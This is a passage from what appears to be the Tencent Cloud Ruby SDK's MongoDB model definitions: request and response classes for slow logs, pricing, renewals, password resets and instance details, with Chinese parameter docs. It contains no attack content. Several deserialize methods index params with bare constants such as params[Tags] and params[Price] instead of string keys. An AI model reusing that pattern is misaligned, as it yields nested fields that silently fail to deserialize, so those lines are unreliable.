Integer # @param Status: 实例状态,取值范围:0-待初始化,1-流程执行中,2-实例有效,-2-已隔离(包年包月实例),-3-已隔离(按量计费实例) # @type Status: Array # @param VpcId: 私有网络的ID,基础网络则不传该参数 # @type VpcId: String # @param SubnetId: 私有网络的子网ID,基础网络则不传该参数。入参设置该参数的同时,必须设置相应的VpcId # @type SubnetId: String # @param PayMode: 付费类型,取值范围:0-按量计费,1-包年包月,-1-按量计费+包年包月 # @type PayMode: Integer # @param Limit: 单次请求返回的数量,最小值为1,最大值为100,默认值为20 # @type Limit: Integer # @param Offset: 偏移量,默认值为0 # @type Offset: Integer # @param OrderBy: 返回结果集排序的字段,目前支持:"ProjectId", "InstanceName", "CreateTime",默认为升序排序 # @type OrderBy: String # @param OrderByType: 返回结果集排序方式,目前支持:"ASC"或者"DESC" # @type OrderByType: String # @param ProjectIds: 项目 ID # @type ProjectIds: Array # @param SearchKey: 搜索关键词,支持实例ID、实例名称、完整IP # @type SearchKey: String # @param Tags: Tag信息 # @type Tags: :class:`Tencentcloud::Mongodb.v20190725.models.TagInfo` attr_accessor :InstanceIds, :InstanceType, :ClusterType, :Status, :VpcId, :SubnetId, :PayMode, :Limit, :Offset, :OrderBy, :OrderByType, :ProjectIds, :SearchKey, :Tags def initialize(instanceids=nil, instancetype=nil, clustertype=nil, status=nil, vpcid=nil, subnetid=nil, paymode=nil, limit=nil, offset=nil, orderby=nil, orderbytype=nil, projectids=nil, searchkey=nil, tags=nil) @InstanceIds = instanceids @InstanceType = instancetype @ClusterType = clustertype @Status = status @VpcId = vpcid @SubnetId = subnetid @PayMode = paymode @Limit = limit @Offset = offset @OrderBy = orderby @OrderByType = orderbytype @ProjectIds = projectids @SearchKey = searchkey @Tags = tags end def deserialize(params) @InstanceIds = params['InstanceIds'] @InstanceType = params['InstanceType'] @ClusterType = params['ClusterType'] @Status = params['Status'] @VpcId = params['VpcId'] @SubnetId = params['SubnetId'] @PayMode = params['PayMode'] @Limit = params['Limit'] @Offset = params['Offset'] @OrderBy = params['OrderBy'] @OrderByType = params['OrderByType'] @ProjectIds = params['ProjectIds'] @SearchKey = params['SearchKey'] unless params['Tags'].nil? @Tags = TagInfo.new.deserialize(params[Tags]) end end end # DescribeDBInstances返回参数结构体 class DescribeDBInstancesResponse < TencentCloud::Common::AbstractModel # @param TotalCount: 符合查询条件的实例总数 # @type TotalCount: Integer # @param InstanceDetails: 实例详细信息列表 # @type InstanceDetails: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :TotalCount, :InstanceDetails, :RequestId def initialize(totalcount=nil, instancedetails=nil, requestid=nil) @TotalCount = totalcount @InstanceDetails = instancedetails @RequestId = requestid end def deserialize(params) @TotalCount = params['TotalCount'] @InstanceDetails = params['InstanceDetails'] @RequestId = params['RequestId'] end end # DescribeSlowLogPatterns请求参数结构体 class DescribeSlowLogPatternsRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param StartTime: 慢日志起始时间,格式:yyyy-mm-dd hh:mm:ss,如:2019-06-01 10:00:00。查询起止时间间隔不能超过24小时,只允许查询最近7天内慢日志。 # @type StartTime: String # @param EndTime: 慢日志终止时间,格式:yyyy-mm-dd hh:mm:ss,如:2019-06-02 12:00:00。查询起止时间间隔不能超过24小时,只允许查询最近7天内慢日志。 # @type EndTime: String # @param SlowMS: 慢日志执行时间阈值,返回执行时间超过该阈值的慢日志,单位为毫秒(ms),最小为100毫秒。 # @type SlowMS: Integer # @param Offset: 偏移量,最小值为0,最大值为10000,默认值为0。 # @type Offset: Integer # @param Limit: 分页大小,最小值为1,最大值为100,默认值为20。 # @type Limit: Integer attr_accessor :InstanceId, :StartTime, :EndTime, :SlowMS, :Offset, :Limit def initialize(instanceid=nil, starttime=nil, endtime=nil, slowms=nil, offset=nil, limit=nil) @InstanceId = instanceid @StartTime = starttime @EndTime = endtime @SlowMS = slowms @Offset = offset @Limit = limit end def deserialize(params) @InstanceId = params['InstanceId'] @StartTime = params['StartTime'] @EndTime = params['EndTime'] @SlowMS = params['SlowMS'] @Offset = params['Offset'] @Limit = params['Limit'] end end # DescribeSlowLogPatterns返回参数结构体 class DescribeSlowLogPatternsResponse < TencentCloud::Common::AbstractModel # @param Count: 慢日志统计信息总数 # @type Count: Integer # @param SlowLogPatterns: 慢日志统计信息 # @type SlowLogPatterns: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Count, :SlowLogPatterns, :RequestId def initialize(count=nil, slowlogpatterns=nil, requestid=nil) @Count = count @SlowLogPatterns = slowlogpatterns @RequestId = requestid end def deserialize(params) @Count = params['Count'] @SlowLogPatterns = params['SlowLogPatterns'] @RequestId = params['RequestId'] end end # DescribeSlowLogs请求参数结构体 class DescribeSlowLogsRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param StartTime: 慢日志起始时间,格式:yyyy-mm-dd hh:mm:ss,如:2019-06-01 10:00:00。查询起止时间间隔不能超过24小时,只允许查询最近7天内慢日志。 # @type StartTime: String # @param EndTime: 慢日志终止时间,格式:yyyy-mm-dd hh:mm:ss,如:2019-06-02 12:00:00。查询起止时间间隔不能超过24小时,只允许查询最近7天内慢日志。 # @type EndTime: String # @param SlowMS: 慢日志执行时间阈值,返回执行时间超过该阈值的慢日志,单位为毫秒(ms),最小为100毫秒。 # @type SlowMS: Integer # @param Offset: 偏移量,最小值为0,最大值为10000,默认值为0。 # @type Offset: Integer # @param Limit: 分页大小,最小值为1,最大值为100,默认值为20。 # @type Limit: Integer attr_accessor :InstanceId, :StartTime, :EndTime, :SlowMS, :Offset, :Limit def initialize(instanceid=nil, starttime=nil, endtime=nil, slowms=nil, offset=nil, limit=nil) @InstanceId = instanceid @StartTime = starttime @EndTime = endtime @SlowMS = slowms @Offset = offset @Limit = limit end def deserialize(params) @InstanceId = params['InstanceId'] @StartTime = params['StartTime'] @EndTime = params['EndTime'] @SlowMS = params['SlowMS'] @Offset = params['Offset'] @Limit = params['Limit'] end end # DescribeSlowLogs返回参数结构体 class DescribeSlowLogsResponse < TencentCloud::Common::AbstractModel # @param Count: 慢日志总数 # @type Count: Integer # @param SlowLogs: 慢日志详情 # 注意:此字段可能返回 null,表示取不到有效值。 # @type SlowLogs: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Count, :SlowLogs, :RequestId def initialize(count=nil, slowlogs=nil, requestid=nil) @Count = count @SlowLogs = slowlogs @RequestId = requestid end def deserialize(params) @Count = params['Count'] @SlowLogs = params['SlowLogs'] @RequestId = params['RequestId'] end end # DescribeSpecInfo请求参数结构体 class DescribeSpecInfoRequest < TencentCloud::Common::AbstractModel # @param Zone: 待查询可用区 # @type Zone: String attr_accessor :Zone def initialize(zone=nil) @Zone = zone end def deserialize(params) @Zone = params['Zone'] end end # DescribeSpecInfo返回参数结构体 class DescribeSpecInfoResponse < TencentCloud::Common::AbstractModel # @param SpecInfoList: 实例售卖规格信息列表 # @type SpecInfoList: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :SpecInfoList, :RequestId def initialize(specinfolist=nil, requestid=nil) @SpecInfoList = specinfolist @RequestId = requestid end def deserialize(params) @SpecInfoList = params['SpecInfoList'] @RequestId = params['RequestId'] end end # FlushInstanceRouterConfig请求参数结构体 class FlushInstanceRouterConfigRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID # @type InstanceId: String attr_accessor :InstanceId def initialize(instanceid=nil) @InstanceId = instanceid end def deserialize(params) @InstanceId = params['InstanceId'] end end # FlushInstanceRouterConfig返回参数结构体 class FlushInstanceRouterConfigResponse < TencentCloud::Common::AbstractModel # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :RequestId def initialize(requestid=nil) @RequestId = requestid end def deserialize(params) @RequestId = params['RequestId'] end end # InquirePriceCreateDBInstances请求参数结构体 class InquirePriceCreateDBInstancesRequest < TencentCloud::Common::AbstractModel # @param Zone: 实例所属区域名称,格式如:ap-guangzhou-2 # @type Zone: String # @param NodeNum: 每个副本集内节点个数,当前副本集节点数固定为3,分片从节点数可选,具体参照查询云数据库的售卖规格返回参数 # @type NodeNum: Integer # @param Memory: 实例内存大小,单位:GB # @type Memory: Integer # @param Volume: 实例硬盘大小,单位:GB # @type Volume: Integer # @param MongoVersion: 版本号,具体支持的售卖版本请参照查询云数据库的售卖规格(DescribeSpecInfo)返回结果。参数与版本对应关系是MONGO_3_WT:MongoDB 3.2 WiredTiger存储引擎版本,MONGO_3_ROCKS:MongoDB 3.2 RocksDB存储引擎版本,MONGO_36_WT:MongoDB 3.6 WiredTiger存储引擎版本,MONGO_40_WT:MongoDB 4.0 WiredTiger存储引擎版本 # @type MongoVersion: String # @param MachineCode: 机器类型,HIO:高IO型;HIO10G:高IO万兆型;STDS5:标准型 # @type MachineCode: String # @param GoodsNum: 实例数量, 最小值1,最大值为10 # @type GoodsNum: Integer # @param Period: 实例时长,单位:月,可选值包括[1,2,3,4,5,6,7,8,9,10,11,12,24,36] # @type Period: Integer # @param ClusterType: 实例类型,REPLSET-副本集,SHARD-分片集群,STANDALONE-单节点 # @type ClusterType: String # @param ReplicateSetNum: 副本集个数,创建副本集实例时,该参数必须设置为1;创建分片实例时,具体参照查询云数据库的售卖规格返回参数;若为单节点实例,该参数设置为0 # @type ReplicateSetNum: Integer attr_accessor :Zone, :NodeNum, :Memory, :Volume, :MongoVersion, :MachineCode, :GoodsNum, :Period, :ClusterType, :ReplicateSetNum def initialize(zone=nil, nodenum=nil, memory=nil, volume=nil, mongoversion=nil, machinecode=nil, goodsnum=nil, period=nil, clustertype=nil, replicatesetnum=nil) @Zone = zone @NodeNum = nodenum @Memory = memory @Volume = volume @MongoVersion = mongoversion @MachineCode = machinecode @GoodsNum = goodsnum @Period = period @ClusterType = clustertype @ReplicateSetNum = replicatesetnum end def deserialize(params) @Zone = params['Zone'] @NodeNum = params['NodeNum'] @Memory = params['Memory'] @Volume = params['Volume'] @MongoVersion = params['MongoVersion'] @MachineCode = params['MachineCode'] @GoodsNum = params['GoodsNum'] @Period = params['Period'] @ClusterType = params['ClusterType'] @ReplicateSetNum = params['ReplicateSetNum'] end end # InquirePriceCreateDBInstances返回参数结构体 class InquirePriceCreateDBInstancesResponse < TencentCloud::Common::AbstractModel # @param Price: 价格 # @type Price: :class:`Tencentcloud::Mongodb.v20190725.models.DBInstancePrice` # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Price, :RequestId def initialize(price=nil, requestid=nil) @Price = price @RequestId = requestid end def deserialize(params) unless params['Price'].nil? @Price = DBInstancePrice.new.deserialize(params[Price]) end @RequestId = params['RequestId'] end end # InquirePriceModifyDBInstanceSpec请求参数结构体 class InquirePriceModifyDBInstanceSpecRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同。 # @type InstanceId: String # @param Memory: 变更配置后实例内存大小,单位:GB。 # @type Memory: Integer # @param Volume: 变更配置后实例磁盘大小,单位:GB。 # @type Volume: Integer attr_accessor :InstanceId, :Memory, :Volume def initialize(instanceid=nil, memory=nil, volume=nil) @InstanceId = instanceid @Memory = memory @Volume = volume end def deserialize(params) @InstanceId = params['InstanceId'] @Memory = params['Memory'] @Volume = params['Volume'] end end # InquirePriceModifyDBInstanceSpec返回参数结构体 class InquirePriceModifyDBInstanceSpecResponse < TencentCloud::Common::AbstractModel # @param Price: 价格。 # @type Price: :class:`Tencentcloud::Mongodb.v20190725.models.DBInstancePrice` # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Price, :RequestId def initialize(price=nil, requestid=nil) @Price = price @RequestId = requestid end def deserialize(params) unless params['Price'].nil? @Price = DBInstancePrice.new.deserialize(params[Price]) end @RequestId = params['RequestId'] end end # InquirePriceRenewDBInstances请求参数结构体 class InquirePriceRenewDBInstancesRequest < TencentCloud::Common::AbstractModel # @param InstanceIds: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同,接口单次最多只支持5个实例进行操作。 # @type InstanceIds: Array # @param InstanceChargePrepaid: 预付费模式(即包年包月)相关参数设置。通过该参数可以指定包年包月实例的续费时长、是否设置自动续费等属性。 # @type InstanceChargePrepaid: :class:`Tencentcloud::Mongodb.v20190725.models.InstanceChargePrepaid` attr_accessor :InstanceIds, :InstanceChargePrepaid def initialize(instanceids=nil, instancechargeprepaid=nil) @InstanceIds = instanceids @InstanceChargePrepaid = instancechargeprepaid end def deserialize(params) @InstanceIds = params['InstanceIds'] unless params['InstanceChargePrepaid'].nil? @InstanceChargePrepaid = InstanceChargePrepaid.new.deserialize(params[InstanceChargePrepaid]) end end end # InquirePriceRenewDBInstances返回参数结构体 class InquirePriceRenewDBInstancesResponse < TencentCloud::Common::AbstractModel # @param Price: 价格 # @type Price: :class:`Tencentcloud::Mongodb.v20190725.models.DBInstancePrice` # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Price, :RequestId def initialize(price=nil, requestid=nil) @Price = price @RequestId = requestid end def deserialize(params) unless params['Price'].nil? @Price = DBInstancePrice.new.deserialize(params[Price]) end @RequestId = params['RequestId'] end end # 描述了实例的计费模式 class InstanceChargePrepaid < TencentCloud::Common::AbstractModel # @param Period: 购买实例的时长,单位:月。取值范围:1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 24, 36。默认为1。 # (InquirePriceRenewDBInstances,RenewDBInstances调用时必填) # @type Period: Integer # @param RenewFlag: 自动续费标识。取值范围: # NOTIFY_AND_AUTO_RENEW:通知过期且自动续费 # NOTIFY_AND_MANUAL_RENEW:通知过期不自动续费 # DISABLE_NOTIFY_AND_MANUAL_RENEW:不通知过期不自动续费 # 默认取值:NOTIFY_AND_MANUAL_RENEW。若该参数指定为NOTIFY_AND_AUTO_RENEW,在账户余额充足的情况下,实例到期后将按月自动续费。 # (InquirePriceRenewDBInstances,RenewDBInstances调用时必填) # @type RenewFlag: String attr_accessor :Period, :RenewFlag def initialize(period=nil, renewflag=nil) @Period = period @RenewFlag = renewflag end def deserialize(params) @Period = params['Period'] @RenewFlag = params['RenewFlag'] end end # 实例详情 class InstanceDetail < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID # @type InstanceId: String # @param InstanceName: 实例名称 # @type InstanceName: String # @param PayMode: 付费类型,可能的返回值:1-包年包月;0-按量计费 # @type PayMode: Integer # @param ProjectId: 项目ID # @type ProjectId: Integer # @param ClusterType: 集群类型,可能的返回值:0-副本集实例,1-分片实例, # @type ClusterType: Integer # @param Region: 地域信息 # @type Region: String # @param Zone: 可用区信息 # @type Zone: String # @param NetType: 网络类型,可能的返回值:0-基础网络,1-私有网络 # @type NetType: Integer # @param VpcId: 私有网络的ID # @type VpcId: String # @param SubnetId: 私有网络的子网ID # @type SubnetId: String # @param Status: 实例状态,可能的返回值:0-待初始化,1-流程处理中,2-运行中,-2-实例已过期 # @type Status: Integer # @param Vip: 实例IP # @type Vip: String # @param Vport: 端口号 # @type Vport: Integer # @param CreateTime: 实例创建时间 # @type CreateTime: String # @param DeadLine: 实例到期时间 # @type DeadLine: String # @param MongoVersion: 实例版本信息 # @type MongoVersion: String # @param Memory: 实例内存规格,单位为MB # @type Memory: Integer # @param Volume: 实例磁盘规格,单位为MB # @type Volume: Integer # @param CpuNum: 实例CPU核心数 # @type CpuNum: Integer # @param MachineType: 实例机器类型 # @type MachineType: String # @param SecondaryNum: 实例从节点数 # @type SecondaryNum: Integer # @param ReplicationSetNum: 实例分片数 # @type ReplicationSetNum: Integer # @param AutoRenewFlag: 实例自动续费标志,可能的返回值:0-手动续费,1-自动续费,2-确认不续费 # @type AutoRenewFlag: Integer # @param UsedVolume: 已用容量,单位MB # @type UsedVolume: Integer # @param MaintenanceStart: 维护窗口起始时间 # @type MaintenanceStart: String # @param MaintenanceEnd: 维护窗口结束时间 # @type MaintenanceEnd: String # @param ReplicaSets: 分片信息 # @type ReplicaSets: Array # @param ReadonlyInstances: 只读实例信息 # @type ReadonlyInstances: Array # @param StandbyInstances: 灾备实例信息 # @type StandbyInstances: Array # @param CloneInstances: 临时实例信息 # @type CloneInstances: Array # @param RelatedInstance: 关联实例信息,对于正式实例,该字段表示它的临时实例信息;对于临时实例,则表示它的正式实例信息;如果为只读/灾备实例,则表示他的主实例信息 # @type RelatedInstance: :class:`Tencentcloud::Mongodb.v20190725.models.DBInstanceInfo` # @param Tags: 实例标签信息集合 # @type Tags: Array # @param InstanceVer: 实例版本标记 # @type InstanceVer: Integer # @param ClusterVer: 实例版本标记 # @type ClusterVer: Integer # @param Protocol: 协议信息,可能的返回值:1-mongodb,2-dynamodb # @type Protocol: Integer # @param InstanceType: 实例类型,可能的返回值,1-正式实例,2-临时实例,3-只读实例,4-灾备实例 # @type InstanceType: Integer # @param InstanceStatusDesc: 实例状态描述 # @type InstanceStatusDesc: String # @param RealInstanceId: 实例对应的物理实例id,回档并替换过的实例有不同的InstanceId和RealInstanceId,从barad获取监控数据等场景下需要用物理id获取 # @type RealInstanceId: String attr_accessor :InstanceId, :InstanceName, :PayMode, :ProjectId, :ClusterType, :Region, :Zone, :NetType, :VpcId, :SubnetId, :Status, :Vip, :Vport, :CreateTime, :DeadLine, :MongoVersion, :Memory, :Volume, :CpuNum, :MachineType, :SecondaryNum, :ReplicationSetNum, :AutoRenewFlag, :UsedVolume, :MaintenanceStart, :MaintenanceEnd, :ReplicaSets, :ReadonlyInstances, :StandbyInstances, :CloneInstances, :RelatedInstance, :Tags, :InstanceVer, :ClusterVer, :Protocol, :InstanceType, :InstanceStatusDesc, :RealInstanceId def initialize(instanceid=nil, instancename=nil, paymode=nil, projectid=nil, clustertype=nil, region=nil, zone=nil, nettype=nil, vpcid=nil, subnetid=nil, status=nil, vip=nil, vport=nil, createtime=nil, deadline=nil, mongoversion=nil, memory=nil, volume=nil, cpunum=nil, machinetype=nil, secondarynum=nil, replicationsetnum=nil, autorenewflag=nil, usedvolume=nil, maintenancestart=nil, maintenanceend=nil, replicasets=nil, readonlyinstances=nil, standbyinstances=nil, cloneinstances=nil, relatedinstance=nil, tags=nil, instancever=nil, clusterver=nil, protocol=nil, instancetype=nil, instancestatusdesc=nil, realinstanceid=nil) @InstanceId = instanceid @InstanceName = instancename @PayMode = paymode @ProjectId = projectid @ClusterType = clustertype @Region = region @Zone = zone @NetType = nettype @VpcId = vpcid @SubnetId = subnetid @Status = status @Vip = vip @Vport = vport @CreateTime = createtime @DeadLine = deadline @MongoVersion = mongoversion @Memory = memory @Volume = volume @CpuNum = cpunum @MachineType = machinetype @SecondaryNum = secondarynum @ReplicationSetNum = replicationsetnum @AutoRenewFlag = autorenewflag @UsedVolume = usedvolume @MaintenanceStart = maintenancestart @MaintenanceEnd = maintenanceend @ReplicaSets = replicasets @ReadonlyInstances = readonlyinstances @StandbyInstances = standbyinstances @CloneInstances = cloneinstances @RelatedInstance = relatedinstance @Tags = tags @InstanceVer = instancever @ClusterVer = clusterver @Protocol = protocol @InstanceType = instancetype @InstanceStatusDesc = instancestatusdesc @RealInstanceId = realinstanceid end def deserialize(params) @InstanceId = params['InstanceId'] @InstanceName = params['InstanceName'] @PayMode = params['PayMode'] @ProjectId = params['ProjectId'] @ClusterType = params['ClusterType'] @Region = params['Region'] @Zone = params['Zone'] @NetType = params['NetType'] @VpcId = params['VpcId'] @SubnetId = params['SubnetId'] @Status = params['Status'] @Vip = params['Vip'] @Vport = params['Vport'] @CreateTime = params['CreateTime'] @DeadLine = params['DeadLine'] @MongoVersion = params['MongoVersion'] @Memory = params['Memory'] @Volume = params['Volume'] @CpuNum = params['CpuNum'] @MachineType = params['MachineType'] @SecondaryNum = params['SecondaryNum'] @ReplicationSetNum = params['ReplicationSetNum'] @AutoRenewFlag = params['AutoRenewFlag'] @UsedVolume = params['UsedVolume'] @MaintenanceStart = params['MaintenanceStart'] @MaintenanceEnd = params['MaintenanceEnd'] @ReplicaSets = params['ReplicaSets'] @ReadonlyInstances = params['ReadonlyInstances'] @StandbyInstances = params['StandbyInstances'] @CloneInstances = params['CloneInstances'] unless params['RelatedInstance'].nil? @RelatedInstance = DBInstanceInfo.new.deserialize(params[RelatedInstance]) end @Tags = params['Tags'] @InstanceVer = params['InstanceVer'] @ClusterVer = params['ClusterVer'] @Protocol = params['Protocol'] @InstanceType = params['InstanceType'] @InstanceStatusDesc = params['InstanceStatusDesc'] @RealInstanceId = params['RealInstanceId'] end end # IsolateDBInstance请求参数结构体 class IsolateDBInstanceRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String attr_accessor :InstanceId def initialize(instanceid=nil) @InstanceId = instanceid end def deserialize(params) @InstanceId = params['InstanceId'] end end # IsolateDBInstance返回参数结构体 class IsolateDBInstanceResponse < TencentCloud::Common::AbstractModel # @param AsyncRequestId: 异步任务的请求 ID,可使用此 ID 查询异步任务的执行结果。 # @type AsyncRequestId: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :AsyncRequestId, :RequestId def initialize(asyncrequestid=nil, requestid=nil) @AsyncRequestId = asyncrequestid @RequestId = requestid end def deserialize(params) @AsyncRequestId = params['AsyncRequestId'] @RequestId = params['RequestId'] end end # KillOps请求参数结构体 class KillOpsRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param Operations: 待终止的操作 # @type Operations: Array attr_accessor :InstanceId, :Operations def initialize(instanceid=nil, operations=nil) @InstanceId = instanceid @Operations = operations end def deserialize(params) @InstanceId = params['InstanceId'] @Operations = params['Operations'] end end # KillOps返回参数结构体 class KillOpsResponse < TencentCloud::Common::AbstractModel # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :RequestId def initialize(requestid=nil) @RequestId = requestid end def deserialize(params) @RequestId = params['RequestId'] end end # ModifyDBInstanceSpec请求参数结构体 class ModifyDBInstanceSpecRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param Memory: 实例配置变更后的内存大小,单位:GB。内存和磁盘必须同时升配或同时降配 # @type Memory: Integer # @param Volume: 实例配置变更后的硬盘大小,单位:GB。内存和磁盘必须同时升配或同时降配。降配时,新的磁盘参数必须大于已用磁盘容量的1.2倍 # @type Volume: Integer # @param OplogSize: 实例配置变更后oplog的大小,单位:GB,默认为磁盘空间的10%,允许设置的最小值为磁盘的10%,最大值为磁盘的90% # @type OplogSize: Integer attr_accessor :InstanceId, :Memory, :Volume, :OplogSize def initialize(instanceid=nil, memory=nil, volume=nil, oplogsize=nil) @InstanceId = instanceid @Memory = memory @Volume = volume @OplogSize = oplogsize end def deserialize(params) @InstanceId = params['InstanceId'] @Memory = params['Memory'] @Volume = params['Volume'] @OplogSize = params['OplogSize'] end end # ModifyDBInstanceSpec返回参数结构体 class ModifyDBInstanceSpecResponse < TencentCloud::Common::AbstractModel # @param DealId: 订单ID # @type DealId: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :DealId, :RequestId def initialize(dealid=nil, requestid=nil) @DealId = dealid @RequestId = requestid end def deserialize(params) @DealId = params['DealId'] @RequestId = params['RequestId'] end end # OfflineIsolatedDBInstance请求参数结构体 class OfflineIsolatedDBInstanceRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String attr_accessor :InstanceId def initialize(instanceid=nil) @InstanceId = instanceid end def deserialize(params) @InstanceId = params['InstanceId'] end end # OfflineIsolatedDBInstance返回参数结构体 class OfflineIsolatedDBInstanceResponse < TencentCloud::Common::AbstractModel # @param AsyncRequestId: 异步任务的请求 ID,可使用此 ID 查询异步任务的执行结果。 # @type AsyncRequestId: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :AsyncRequestId, :RequestId def initialize(asyncrequestid=nil, requestid=nil) @AsyncRequestId = asyncrequestid @RequestId = requestid end def deserialize(params) @AsyncRequestId = params['AsyncRequestId'] @RequestId = params['RequestId'] end end # 需要终止的操作 class Operation < TencentCloud::Common::AbstractModel # @param ReplicaSetName: 操作所在的分片名 # @type ReplicaSetName: String # @param NodeName: 操作所在的节点名 # @type NodeName: String # @param OpId: 操作序号 # @type OpId: Integer attr_accessor :ReplicaSetName, :NodeName, :OpId def initialize(replicasetname=nil, nodename=nil, opid=nil) @ReplicaSetName = replicasetname @NodeName = nodename @OpId = opid end def deserialize(params) @ReplicaSetName = params['ReplicaSetName'] @NodeName = params['NodeName'] @OpId = params['OpId'] end end # RenameInstance请求参数结构体 class RenameInstanceRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param NewName: 实例名称 # @type NewName: String attr_accessor :InstanceId, :NewName def initialize(instanceid=nil, newname=nil) @InstanceId = instanceid @NewName = newname end def deserialize(params) @InstanceId = params['InstanceId'] @NewName = params['NewName'] end end # RenameInstance返回参数结构体 class RenameInstanceResponse < TencentCloud::Common::AbstractModel # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :RequestId def initialize(requestid=nil) @RequestId = requestid end def deserialize(params) @RequestId = params['RequestId'] end end # RenewDBInstances请求参数结构体 class RenewDBInstancesRequest < TencentCloud::Common::AbstractModel # @param InstanceIds: 一个或多个待操作的实例ID。可通过DescribeInstances接口返回值中的InstanceId获取。每次请求批量实例的上限为100。 # @type InstanceIds: Array # @param InstanceChargePrepaid: 预付费模式,即包年包月相关参数设置。通过该参数可以指定包年包月实例的续费时长、是否设置自动续费等属性。包年包月实例该参数为必传参数。 # @type InstanceChargePrepaid: :class:`Tencentcloud::Mongodb.v20190725.models.InstanceChargePrepaid` attr_accessor :InstanceIds, :InstanceChargePrepaid def initialize(instanceids=nil, instancechargeprepaid=nil) @InstanceIds = instanceids @InstanceChargePrepaid = instancechargeprepaid end def deserialize(params) @InstanceIds = params['InstanceIds'] unless params['InstanceChargePrepaid'].nil? @InstanceChargePrepaid = InstanceChargePrepaid.new.deserialize(params[InstanceChargePrepaid]) end end end # RenewDBInstances返回参数结构体 class RenewDBInstancesResponse < TencentCloud::Common::AbstractModel # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :RequestId def initialize(requestid=nil) @RequestId = requestid end def deserialize(params) @RequestId = params['RequestId'] end end # ResetDBInstancePassword请求参数结构体 class ResetDBInstancePasswordRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例Id # @type InstanceId: String # @param UserName: 实例账号名 # @type UserName: String # @param Password: 新密码 # @type Password: String attr_accessor :InstanceId, :UserName, :Password def initialize(instanceid=nil, username=nil, password=nil) @InstanceId = instanceid @UserName = username @Password = password end def deserialize(params) @InstanceId = params['InstanceId'] @UserName = params['UserName'] @Password = params['Password'] end end # ResetDBInstancePassword返回参数结构体 class ResetDBInstancePasswordResponse < TencentCloud::Common::AbstractModel # @param AsyncRequestId: 异步请求Id,用户查询该流程的运行状态 # @type AsyncRequestId: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :AsyncRequestId, :RequestId def initialize(asyncrequestid=nil, requestid=nil) @AsyncRequestId = asyncrequestid @RequestId = requestid end def deserialize(params) @AsyncRequestId = params['AsyncRequestId'] @RequestId = params['RequestId'] end end # 实例分片详情 class ShardInfo < TencentCloud::Common::AbstractModel # @param UsedVolume: 分片已使用容量 # @type UsedVolume: Float # @param ReplicaSetId: 分片ID # @type ReplicaSetId: String # @param ReplicaSetName: 分片名 # @type ReplicaSetName: String # @param Memory: 分片内存规格,单位为MB # @type Memory: Integer # @param Volume: 分片磁盘规格,单位为MB # @type Volume: Integer # @param OplogSize: 分片Oplog大小,单位为MB # @type OplogSize: Integer # @param SecondaryNum: 分片从节点数 # @type SecondaryNum: Integer # @param RealReplicaSetId: 分片物理id # @type RealReplicaSetId: String attr_accessor :UsedVolume, :ReplicaSetId, :ReplicaSetName, :Memory, :Volume, :OplogSize, :SecondaryNum, :RealReplicaSetId def initialize(usedvolume=nil, replicasetid=nil, replicasetname=nil, memory=nil, volume=nil, oplogsize=nil, secondarynum=nil, realreplicasetid=nil) @UsedVolume = usedvolume @ReplicaSetId = replicasetid @ReplicaSetName = replicasetname @Memory = memory @Volume = volume @OplogSize = oplogsize @SecondaryNum = secondarynum @RealReplicaSetId = realreplicasetid end def deserialize(params) @UsedVolume = params['UsedVolume'] 